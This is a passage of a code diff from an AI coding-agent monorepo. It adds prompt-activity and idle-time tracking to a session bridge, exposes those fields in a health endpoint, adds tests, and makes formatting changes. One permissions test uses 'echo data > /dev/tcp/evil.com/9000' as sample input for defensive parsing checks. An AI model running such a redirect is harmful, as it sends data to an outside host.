vi.fn().mockReturnValue(mockFs) }; const service = createFileService({ @@ -461,13 +459,11 @@ Add to the test file: describe('write', () => { it('passes originatorClientId to forRequest for audit', async () => { const mockFs = { - writeFile: vi - .fn() - .mockResolvedValue({ - ok: true, - filePath: '/workspace/f.ts', - bytesWritten: 3, - }), + writeFile: vi.fn().mockResolvedValue({ + ok: true, + filePath: '/workspace/f.ts', + bytesWritten: 3, + }), }; const fsFactory = { forRequest: vi.fn().mockReturnValue(mockFs) }; const service = createFileService({ @@ -531,13 +527,11 @@ const ctx: WorkspaceRequestContext = { describe('AuthService', () => { it('startFlow delegates to registry.start and returns flowId + verificationUri + userCode', async () => { const registry = { - start: vi - .fn() - .mockReturnValue({ - id: 'flow-1', - verificationUri: 'https://auth.example/device', - userCode: 'ABCD-1234', - }), + start: vi.fn().mockReturnValue({ + id: 'flow-1', + verificationUri: 'https://auth.example/device', + userCode: 'ABCD-1234', + }), }; const service = createAuthService({ deviceFlowRegistry: registry as any }); diff --git a/packages/acp-bridge/src/bridge.test.ts b/packages/acp-bridge/src/bridge.test.ts index 3025bdc7ad..ff2d0a4831 100644 --- a/packages/acp-bridge/src/bridge.test.ts +++ b/packages/acp-bridge/src/bridge.test.ts @@ -10302,6 +10302,341 @@ describe('close on last client detach', () => { }); }); +describe('activePromptCount and lastActivityAt', () => { + it('activePromptCount is 0 and lastActivityAt is null before any activity', () => { + const bridge = makeBridge({ + channelFactory: async () => makeChannel().channel, + }); + expect(bridge.activePromptCount).toBe(0); + expect(bridge.lastActivityAt).toBeNull(); + }); + + it('lastActivityAt is set after spawning a session', async () => { + const bridge = makeBridge({ + channelFactory: async () => makeChannel().channel, + }); + const before = Date.now(); + await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + const after = Date.now(); + + expect(bridge.lastActivityAt).not.toBeNull(); + expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(before); + expect(bridge.lastActivityAt).toBeLessThanOrEqual(after); + expect(bridge.activePromptCount).toBe(0); + + await bridge.shutdown(); + }); + + it('activePromptCount increments during prompt and decrements after', async () => { + let releasePrompt: (() => void) | undefined; + const handle = makeChannel({ + promptImpl: () => + new Promise((resolve) => { + releasePrompt = () => resolve({ stopReason: 'end_turn' }); + }), + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + + // Start prompt (don't await — it blocks until released) + const promptPromise = bridge.sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'test' }], + }); + + // Wait for prompt to reach the agent + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + + expect(bridge.activePromptCount).toBe(1); + const duringPromptActivity = bridge.lastActivityAt; + expect(duringPromptActivity).not.toBeNull(); + + // Release prompt + releasePrompt!(); + await promptPromise; + + expect(bridge.activePromptCount).toBe(0); + // lastActivityAt should be updated after prompt ends + expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(duringPromptActivity!); + + await bridge.shutdown(); + }); + + it('activePromptCount tracks multiple concurrent sessions', async () => { + const releasers: Array<() => void> = []; + const handles: ChannelHandle[] = []; + const bridge = makeBridge({ + channelFactory: async () => { + const h = makeChannel({ + promptImpl: () => + new Promise((resolve) => { + releasers.push(() => resolve({ stopReason: 'end_turn' })); + }), + }); + handles.push(h); + return h.channel; + }, + }); + + const s1 = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + const s2 = await bridge.spawnOrAttach({ + workspaceCwd: WS_A, + sessionScope: 'thread', + }); + + // Start prompts on both sessions + const p1 = bridge.sendPrompt(s1.sessionId, { + sessionId: s1.sessionId, + prompt: [{ type: 'text', text: 'test1' }], + }); + const p2 = bridge.sendPrompt(s2.sessionId, { + sessionId: s2.sessionId, + prompt: [{ type: 'text', text: 'test2' }], + }); + + // Wait for both prompts to reach agents + await vi.waitFor(() => { + const totalPrompts = handles.reduce( + (sum, h) => sum + h.agent.promptCalls.length, + 0, + ); + expect(totalPrompts).toBeGreaterThanOrEqual(2); + }); + + expect(bridge.activePromptCount).toBe(2); + + // Release first prompt + releasers[0]!(); + await p1; + expect(bridge.activePromptCount).toBe(1); + + // Release second prompt + releasers[1]!(); + await p2; + expect(bridge.activePromptCount).toBe(0); + + await bridge.shutdown(); + }); + + it('lastActivityAt updates on prompt start and end', async () => { + let releasePrompt: (() => void) | undefined; + const handle = makeChannel({ + promptImpl: () => + new Promise((resolve) => { + releasePrompt = () => resolve({ stopReason: 'end_turn' }); + }), + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + const afterSpawn = bridge.lastActivityAt!; + + // Small delay to ensure timestamp difference + await new Promise((r) => setTimeout(r, 5)); + + const promptPromise = bridge.sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'test' }], + }); + + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + + const afterPromptStart = bridge.lastActivityAt!; + expect(afterPromptStart).toBeGreaterThanOrEqual(afterSpawn); + + await new Promise((r) => setTimeout(r, 5)); + + releasePrompt!(); + await promptPromise; + + const afterPromptEnd = bridge.lastActivityAt!; + expect(afterPromptEnd).toBeGreaterThanOrEqual(afterPromptStart); + + await bridge.shutdown(); + }); + + it('activePromptCount does not go negative when closeSession cancels an active prompt', async () => { + let rejectPrompt: ((error?: unknown) => void) | undefined; + const handle = makeChannel({ + promptImpl: () => + new Promise((_resolve, reject) => { + rejectPrompt = reject; + }), + cancelImpl: () => { + rejectPrompt?.(new Error('cancelled')); + }, + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + + const promptResult = bridge + .sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'test' }], + }) + .then( + () => ({ ok: true as const }), + (error) => ({ ok: false as const, error }), + ); + + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + expect(bridge.activePromptCount).toBe(1); + + await bridge.closeSession(session.sessionId); + expect(bridge.activePromptCount).toBe(0); + + const result = await promptResult; + expect(result.ok).toBe(false); + expect(bridge.activePromptCount).toBe(0); + + await bridge.shutdown(); + }); + + it('activePromptCount does not go negative when killSession cancels an active prompt', async () => { + let rejectPrompt: ((error?: unknown) => void) | undefined; + const handle = makeChannel({ + promptImpl: () => + new Promise((_resolve, reject) => { + rejectPrompt = reject; + }), + cancelImpl: () => { + rejectPrompt?.(new Error('cancelled')); + }, + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + + const promptResult = bridge + .sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'test' }], + }) + .then( + () => ({ ok: true as const }), + (error) => ({ ok: false as const, error }), + ); + + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + expect(bridge.activePromptCount).toBe(1); + + await bridge.killSession(session.sessionId); + expect(bridge.activePromptCount).toBe(0); + expect(bridge.sessionCount).toBe(0); + + const result = await promptResult; + expect(result.ok).toBe(false); + expect(bridge.activePromptCount).toBe(0); + + await bridge.shutdown(); + }); + + it('activePromptCount returns to 0 when channel crashes during a hung prompt', async () => { + const handle = makeChannel({ + promptImpl: () => new Promise(() => {}), + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + + const promptResult = bridge + .sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'test' }], + }) + .then( + () => ({ ok: true as const }), + (error) => ({ ok: false as const, error }), + ); + + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + expect(bridge.activePromptCount).toBe(1); + + handle.crash(); + + await vi.waitFor(() => { + expect(bridge.activePromptCount).toBe(0); + expect(bridge.sessionCount).toBe(0); + }); + + const result = await promptResult; + expect(result.ok).toBe(false); + expect(bridge.activePromptCount).toBe(0); + + await bridge.shutdown(); + }); + + it('queued prompt rejects when the channel crashes before it starts', async () => { + const handle = makeChannel({ + promptImpl: () => new Promise(() => {}), + }); + const bridge = makeBridge({ + channelFactory: async () => handle.channel, + }); + const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A }); + + const promptA = bridge + .sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'prompt A' }], + }) + .then( + () => ({ ok: true as const }), + (error) => ({ ok: false as const, error }), + ); + + await vi.waitFor(() => { + expect(handle.agent.promptCalls).toHaveLength(1); + }); + + const promptB = bridge + .sendPrompt(session.sessionId, { + sessionId: session.sessionId, + prompt: [{ type: 'text', text: 'prompt B' }], + }) + .then( + () => ({ ok: true as const }), + (error) => ({ ok: false as const, error }), + ); + + handle.crash(); + + const [resultA, resultB] = await Promise.all([promptA, promptB]); + + expect(handle.agent.promptCalls).toHaveLength(1); + expect(resultA.ok).toBe(false); + expect(resultB.ok).toBe(false); + if (resultB.ok) { + throw new Error('queued prompt unexpectedly resolved'); + } + expect(resultB.error).toBeInstanceOf(SessionNotFoundError); + + await vi.waitFor(() => { + expect(bridge.activePromptCount).toBe(0); + expect(bridge.sessionCount).toBe(0); + }); + + await bridge.shutdown(); + }); +}); + /** * `enqueueMidTurnMessage` backs the web-shell mid-turn drain: the browser * pushes a message typed during a turn, the ACP child drains it via diff --git a/packages/acp-bridge/src/bridge.ts b/packages/acp-bridge/src/bridge.ts index 10a6aec8ca..43b835fe98 100644 --- a/packages/acp-bridge/src/bridge.ts +++ b/packages/acp-bridge/src/bridge.ts @@ -870,6 +870,15 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { ); let sessionReaper: ReturnType | undefined; + // Tracks the most recent "activity" event for idle-detection by + // external schedulers. Updated on prompt start/end and session + // spawn/restore. `null` until the first activity after boot. + let lastActivityTimestamp: number | null = null; + let activePromptCounter = 0; + function touchActivity(): void { + lastActivityTimestamp = Date.now(); + } + function resolvePositiveFiniteMs( raw: number | undefined, fallback: number, @@ -1339,6 +1348,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { } catch { /* bus already closed */ } + if (sessEntry.promptActive) { + sessEntry.promptActive = false; + activePromptCounter--; + touchActivity(); + } byId.delete(sid); telemetry.metrics?.sessionLifecycle('die'); // Tombstone the id so any late `extNotification` from the @@ -1723,6 +1737,16 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { return undefined; }; + const assertLivePromptEntry = ( + sessionId: string, + entry: SessionEntry, + ): void => { + const info = channelInfoForEntry(entry); + if (byId.get(sessionId) !== entry || !info || info.isDying) { + throw new SessionNotFoundError(sessionId); + } + }; + const getChannelClosedReject = (info: ChannelInfo): Promise => { if (!info.statusClosedReject) { info.statusClosedReject = info.channel.exited.then(() => { @@ -2045,6 +2069,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { }; ci.sessionIds.add(entry.sessionId); byId.set(entry.sessionId, entry); + touchActivity(); telemetry.metrics?.sessionLifecycle('spawn'); // Drain any guardrail events that fired during this session's // `newSession` handler (before this entry registered) onto the @@ -2459,6 +2484,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { // closed bus. permissionMediator.forgetSession(sessionId); entry.pendingPermissionIds.clear(); + if (entry.promptActive) { + entry.promptActive = false; + activePromptCounter--; + touchActivity(); + } byId.delete(sessionId); telemetry.metrics?.sessionLifecycle('close'); // Tombstone the closed sessionId so any late `extNotification` @@ -2552,6 +2582,20 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { return byId.size; }, + get activePromptCount() { + return activePromptCounter; + }, + + get lastActivityAt() { + return lastActivityTimestamp; + }, + + get idleSinceMs() { + return lastActivityTimestamp !== null + ? Date.now() - lastActivityTimestamp + : null; + }, + isChannelLive() { return !!liveChannelInfo(); }, @@ -2819,6 +2863,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { if (signal?.aborted) { throw new DOMException('Prompt aborted', 'AbortError'); } + assertLivePromptEntry(sessionId, entry); const requestedRetry = (req as unknown as { retry?: unknown }).retry === true; const isRetry = requestedRetry && entry.retryAllowed; @@ -2844,7 +2889,9 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { return copy; })(); entry.promptActive = true; + activePromptCounter++; entry.sessionLastSeenAt = Date.now(); + touchActivity(); if (originatorClientId === undefined) { delete entry.activePromptOriginatorClientId; } else { @@ -2881,15 +2928,23 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { ); } } catch (echoErr) { - entry.promptActive = false; delete entry.activePromptOriginatorClientId; + if (entry.promptActive) { + entry.promptActive = false; + activePromptCounter--; + touchActivity(); + } throw echoErr; } const promptPromise = entry.connection .prompt(promptRequest) .finally(() => { - entry.promptActive = false; - entry.sessionLastSeenAt = Date.now(); + if (entry.promptActive) { + entry.promptActive = false; + activePromptCounter--; + entry.sessionLastSeenAt = Date.now(); + touchActivity(); + } delete entry.activePromptOriginatorClientId; if ( entry.clientIds.size === 0 && @@ -4619,6 +4674,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge { // byId.get(sessionId) (same order as closeSession). permissionMediator.forgetSession(sessionId); entry.pendingPermissionIds.clear(); + if (entry.promptActive) { + entry.promptActive = false; + activePromptCounter--; + touchActivity(); + } // Remove from the state eagerly so concurrent `spawnOrAttach` // can't reattach to a session we're tearing down. if (defaultEntry === entry) defaultEntry = undefined; diff --git a/packages/acp-bridge/src/bridgeTypes.ts b/packages/acp-bridge/src/bridgeTypes.ts index a4d5db4ceb..6179443d37 100644 --- a/packages/acp-bridge/src/bridgeTypes.ts +++ b/packages/acp-bridge/src/bridgeTypes.ts @@ -700,6 +700,23 @@ export interface AcpSessionBridge { */ isChannelLive(): boolean; + /** Number of sessions with an active prompt (promptActive === true). */ + readonly activePromptCount: number; + + /** + * Epoch-ms timestamp of the last "activity" event (prompt start/end, + * session spawn/restore). `null` when the daemon has never processed + * any activity since boot. + */ + readonly lastActivityAt: number | null; + + /** + * Milliseconds since the last activity event (`Date.now() - lastActivityAt`). + * `null` when no activity has occurred since boot. Computed atomically to + * avoid race windows between reading `lastActivityAt` and `Date.now()`. + */ + readonly idleSinceMs: number | null; + /** Test/inspection hook: number of permission requests awaiting a vote. */ readonly pendingPermissionCount: number; diff --git a/packages/acp-bridge/src/internal/testUtils.ts b/packages/acp-bridge/src/internal/testUtils.ts index ad0c1dee66..e324420f6a 100644 --- a/packages/acp-bridge/src/internal/testUtils.ts +++ b/packages/acp-bridge/src/internal/testUtils.ts @@ -294,7 +294,10 @@ export function makeChannel(opts: FakeAgentOpts = {}): ChannelHandle { }; // Spin up the fake agent on the agent side; keep the connection so tests can // drive client-bound ext-methods (e.g. the mid-turn drain). - handle.agentConnection = new AgentSideConnection(() => handle.agent, agentStream); + handle.agentConnection = new AgentSideConnection( + () => handle.agent, + agentStream, + ); handle.channel = { stream: clientStream, exited, diff --git a/packages/cli/src/serve/daemonStatus.test.ts b/packages/cli/src/serve/daemonStatus.test.ts index 8ea1126c4c..ab5248a28c 100644 --- a/packages/cli/src/serve/daemonStatus.test.ts +++ b/packages/cli/src/serve/daemonStatus.test.ts @@ -210,8 +210,7 @@ function makeOptions(input: MakeOptionsInput = {}): BuildDaemonStatusOptions { clearScheduledInterval: () => {}, }); const bridge = { - getDaemonStatusSnapshot: () => - input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT, + getDaemonStatusSnapshot: () => input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT, getWorkspaceToolsStatus: async () => input.toolsStatus ?? okStatus({ tools: [] }), } as unknown as AcpSessionBridge; diff --git a/packages/cli/src/serve/server.test.ts b/packages/cli/src/serve/server.test.ts index 533307379b..93fe1ff464 100644 --- a/packages/cli/src/serve/server.test.ts +++ b/packages/cli/src/serve/server.test.ts @@ -979,6 +979,15 @@ function fakeBridge(opts: FakeBridgeOpts = {}): FakeBridge { get sessionCount() { return calls.length; }, + get activePromptCount() { + return 0; + }, + get lastActivityAt() { + return null; + }, + get idleSinceMs() { + return null; + }, get pendingPermissionCount() { return 0; }, @@ -6385,6 +6394,53 @@ describe('createServeApp', () => { }); }); + it('deep=1 includes idle detection fields with no activity', async () => { + const bridge = fakeBridge(); + const app = createServeApp(baseOpts, undefined, { bridge }); + const res = await request(app) + .get('/health?deep=1') + .set('Host', `127.0.0.1:${baseOpts.port}`); + expect(res.status).toBe(200); + expect(res.body).toMatchObject({ + status: 'ok', + activePrompts: 0, + connectedClients: 0, + channelAlive: false, + lastActivityAt: null, + idleSinceMs: null, + }); + }); + + it('deep=1 derives idleSinceMs from the same lastActivityAt snapshot', async () => { + const now = 1_700_000_060_000; + const activityTime = now - 60_000; + const bridge = fakeBridge(); + Object.defineProperty(bridge, 'lastActivityAt', { + get() { + return activityTime; + }, + }); + Object.defineProperty(bridge, 'idleSinceMs', { + get() { + throw new Error('idleSinceMs getter should not be read'); + }, + }); + const nowSpy = vi.spyOn(Date, 'now').mockReturnValue(now); + try { + const app = createServeApp(baseOpts, undefined, { bridge }); + const res = await request(app) + .get('/health?deep=1') + .set('Host', `127.0.0.1:${baseOpts.port}`); + expect(res.status).toBe(200); + expect(res.body.lastActivityAt).toBe( + new Date(activityTime).toISOString(), + ); + expect(res.body.idleSinceMs).toBe(60_000); + } finally { + nowSpy.mockRestore(); + } + }); + it('deep=1 returns 503 when bridge state access throws', async () => { // Simulate a wedged bridge by replacing the getter to throw. const bridge = fakeBridge(); diff --git a/packages/cli/src/serve/server.ts b/packages/cli/src/serve/server.ts index 873dbeff1c..833e4876fe 100644 --- a/packages/cli/src/serve/server.ts +++ b/packages/cli/src/serve/server.ts @@ -1220,10 +1220,18 @@ export function createServeApp( return; } try { + const lastActivity = bridge.lastActivityAt; + const now = Date.now(); res.status(200).json({ status: 'ok', sessions: bridge.sessionCount, pendingPermissions: bridge.pendingPermissionCount, + activePrompts: bridge.activePromptCount, + connectedClients: getActiveSseCount(), + channelAlive: bridge.isChannelLive(), + lastActivityAt: + lastActivity !== null ? new Date(lastActivity).toISOString() : null, + idleSinceMs: lastActivity !== null ? now - lastActivity : null, ...(rateLimiter ? { rateLimitHits: rateLimiter.getHitCounts() } : {}), }); } catch (err) { diff --git a/packages/cli/src/ui/components/Composer.test.tsx b/packages/cli/src/ui/components/Composer.test.tsx index 14c273547e..e4c786a632 100644 --- a/packages/cli/src/ui/components/Composer.test.tsx +++ b/packages/cli/src/ui/components/Composer.test.tsx @@ -41,11 +41,11 @@ vi.mock('./LoadingIndicator.js', () => ({ }: { currentLoadingPhrase?: string; }) => ( - - LoadingIndicator - {currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''} - - ), + + LoadingIndicator + {currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''} + + ), })); vi.mock('./ContextSummaryDisplay.js', () => ({ diff --git a/packages/core/src/agents/background-tasks.test.ts b/packages/core/src/agents/background-tasks.test.ts index e52f6a415d..59802f5020 100644 --- a/packages/core/src/agents/background-tasks.test.ts +++ b/packages/core/src/agents/background-tasks.test.ts @@ -354,10 +354,7 @@ describe('BackgroundTaskRegistry', () => { isBackgrounded: true, outputFile: '/tmp/test.jsonl', }); - registry.addPendingApproval( - 'paused-approval', - makeApproval('c1', respond), - ); + registry.addPendingApproval('paused-approval', makeApproval('c1', respond)); registry.get('paused-approval')!.status = 'paused'; registry.abandon('paused-approval'); diff --git a/packages/core/src/followup/speculation.test.ts b/packages/core/src/followup/speculation.test.ts index b5fa61df0a..85951779c0 100644 --- a/packages/core/src/followup/speculation.test.ts +++ b/packages/core/src/followup/speculation.test.ts @@ -63,32 +63,30 @@ describe('startSpeculation', () => { forkedAgentMocks.runForkedAgent.mockResolvedValue({ jsonResult: { suggestion: '' }, }); - forkedAgentMocks.sendMessageStream.mockImplementation( - async function* () { - if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) { - yield { - type: 'chunk', - value: { - candidates: [ - { - content: { - parts: [ - { - functionCall: { - id: 'call_123', - name: 'read_file', - args: { path: 'a.ts' }, - }, + forkedAgentMocks.sendMessageStream.mockImplementation(async function* () { + if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) { + yield { + type: 'chunk', + value: { + candidates: [ + { + content: { + parts: [ + { + functionCall: { + id: 'call_123', + name: 'read_file', + args: { path: 'a.ts' }, }, - ], - }, + }, + ], }, - ], - }, - }; - } - }, - ); + }, + ], + }, + }; + } + }); const state = await startSpeculation(config, 'read a.ts'); await vi.waitFor(() => { @@ -97,9 +95,7 @@ describe('startSpeculation', () => { expect(execute).toHaveBeenCalledOnce(); expect(state.messages[1].parts?.[0].functionCall?.id).toBe('call_123'); - expect(state.messages[2].parts?.[0].functionResponse?.id).toBe( - 'call_123', - ); + expect(state.messages[2].parts?.[0].functionResponse?.id).toBe('call_123'); await abortSpeculation(state); }); diff --git a/packages/core/src/permissions/shell-semantics.test.ts b/packages/core/src/permissions/shell-semantics.test.ts index 4597397b68..d3d302e1c2 100644 --- a/packages/core/src/permissions/shell-semantics.test.ts +++ b/packages/core/src/permissions/shell-semantics.test.ts @@ -478,7 +478,10 @@ describe('extractShellOperations', () => { }); it('redirect > /dev/tcp: network socket, not a file write', () => { - const ops = extractShellOperations('echo data > /dev/tcp/evil.com/9000', CWD); + const ops = extractShellOperations( + 'echo data > /dev/tcp/evil.com/9000', + CWD, + ); expect(ops).not.toContainEqual( expect.objectContaining({ filePath: '/dev/tcp/evil.com/9000' }), ); diff --git a/packages/core/src/utils/toolResultCleanup.ts b/packages/core/src/utils/toolResultCleanup.ts index cacb14b197..264f2f8f0e 100644 --- a/packages/core/src/utils/toolResultCleanup.ts +++ b/packages/core/src/utils/toolResultCleanup.ts @@ -60,9 +60,7 @@ export async function cleanupOldToolResults( ); } if (result.errors > 0) { - debugLogger.warn( - `${result.errors} errors during tool result cleanup`, - ); + debugLogger.warn(`${result.errors} errors during tool result cleanup`); } return result; diff --git a/packages/core/src/utils/truncation.ts b/packages/core/src/utils/truncation.ts index 4d9b27959d..aae8f6b807 100644 --- a/packages/core/src/utils/truncation.ts +++ b/packages/core/src/utils/truncation.ts @@ -391,11 +391,7 @@ export async function persistAndTruncateToolResult( `Session tool result budget exhausted (${budgetUsed} + ${byteSize} > ${MAX_SESSION_BYTES}), skipping disk persistence`, ); return { - content: buildStub( - content, - byteSize, - '(session disk budget exhausted)', - ), + content: buildStub(content, byteSize, '(session disk budget exhausted)'), bytesWritten: 0, }; } @@ -405,7 +401,9 @@ export async function persistAndTruncateToolResult( // eslint-disable-next-line no-control-regex const safeCallId = path.basename(callId).replace(/\x00/g, '_'); if (!safeCallId || safeCallId === '.' || safeCallId === '..') { - debugLogger.warn(`Invalid callId for disk persistence: ${JSON.stringify(callId)}`); + debugLogger.warn( + `Invalid callId for disk persistence: ${JSON.stringify(callId)}`, + ); config.trackToolResultBytes(-byteSize); return { content: buildStub(content, byteSize, '(invalid callId)'), @@ -432,10 +430,7 @@ export async function persistAndTruncateToolResult( } catch (error) { // Rollback budget reservation on write failure config.trackToolResultBytes(-byteSize); - debugLogger.warn( - `Failed to persist tool result to ${outputFile}:`, - error, - ); + debugLogger.warn(`Failed to persist tool result to ${outputFile}:`, error); try { const fallback = await truncateAndSaveToFile( content, diff --git a/packages/sdk-typescript/test/unit/daemonUi.test.ts b/packages/sdk-typescript/test/unit/daemonUi.test.ts index 7c8a081457..1579339628 100644 --- a/packages/sdk-typescript/test/unit/daemonUi.test.ts +++ b/packages/sdk-typescript/test/unit/daemonUi.test.ts @@ -222,7 +222,10 @@ describe('daemon UI normalizer and transcript reducer', () => { createDaemonTranscriptState({ now: 1 }), [ { type: 'assistant.text.delta', text: 'answer' }, - { type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } }, + { + type: 'assistant.usage', + usage: { inputTokens: 100, outputTokens: 20 }, + }, { type: 'assistant.usage', usage: { inputTokens: 5, outputTokens: 3 } }, ], { now: 2 }, @@ -243,7 +246,10 @@ describe('daemon UI normalizer and transcript reducer', () => { [ { type: 'assistant.text.delta', text: 'answer' }, // The parent's own round. - { type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } }, + { + type: 'assistant.usage', + usage: { inputTokens: 100, outputTokens: 20 }, + }, // A round from a spawned sub-agent — part of the turn's real cost. { type: 'assistant.usage', diff --git a/packages/vscode-ide-companion/src/webview/App.test.tsx b/packages/vscode-ide-companion/src/webview/App.test.tsx index 52f0c1d5cd..782bd8a2f3 100644 --- a/packages/vscode-ide-companion/src/webview/App.test.tsx +++ b/packages/vscode-ide-companion/src/webview/App.test.tsx @@ -20,16 +20,16 @@ const { mockAddMessage, mockEndStreaming, } = vi.hoisted(() => ({ - mockPostMessage: vi.fn(), - mockOpenCompletion: vi.fn().mockResolvedValue(undefined), - mockCloseCompletion: vi.fn(), - mockMessageState: { - isStreaming: false, - isWaitingForResponse: false, - }, - mockAddMessage: vi.fn(), - mockEndStreaming: vi.fn(), - })); + mockPostMessage: vi.fn(), + mockOpenCompletion: vi.fn().mockResolvedValue(undefined), + mockCloseCompletion: vi.fn(), + mockMessageState: { + isStreaming: false, + isWaitingForResponse: false, + }, + mockAddMessage: vi.fn(), + mockEndStreaming: vi.fn(), +})); const slashSkillsItem: CompletionItem = { id: 'skills', @@ -592,9 +592,7 @@ describe('App /skills secondary picker', () => { expect(blurSpy).toHaveBeenCalled(); expect(input.getAttribute('data-empty')).toBe('false'); - expect(getRenderedInputText(rendered.container)).toBe( - 'draft after escape', - ); + expect(getRenderedInputText(rendered.container)).toBe('draft after escape'); expect(mockPostMessage).not.toHaveBeenCalledWith({ type: 'cancelStreaming', data: {}, diff --git a/packages/web-shell/client/adapters/transcriptToMessages.ts b/packages/web-shell/client/adapters/transcriptToMessages.ts index c050eb3e85..86e8862a17 100644 --- a/packages/web-shell/client/adapters/transcriptToMessages.ts +++ b/packages/web-shell/client/adapters/transcriptToMessages.ts @@ -75,9 +75,15 @@ function parseDaemonTodoItemsFromEntries( * side has usage, so the message field stays absent rather than a spurious 0/0. */ function mergeAssistantUsage( - a: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined, - b: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined, -): { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined { + a: + | { inputTokens: number; outputTokens: number; cachedTokens?: number } + | undefined, + b: + | { inputTokens: number; outputTokens: number; cachedTokens?: number } + | undefined, +): + | { inputTokens: number; outputTokens: number; cachedTokens?: number } + | undefined { if (!a) return b; if (!b) return a; const cachedTokens = (a.cachedTokens ?? 0) + (b.cachedTokens ?? 0);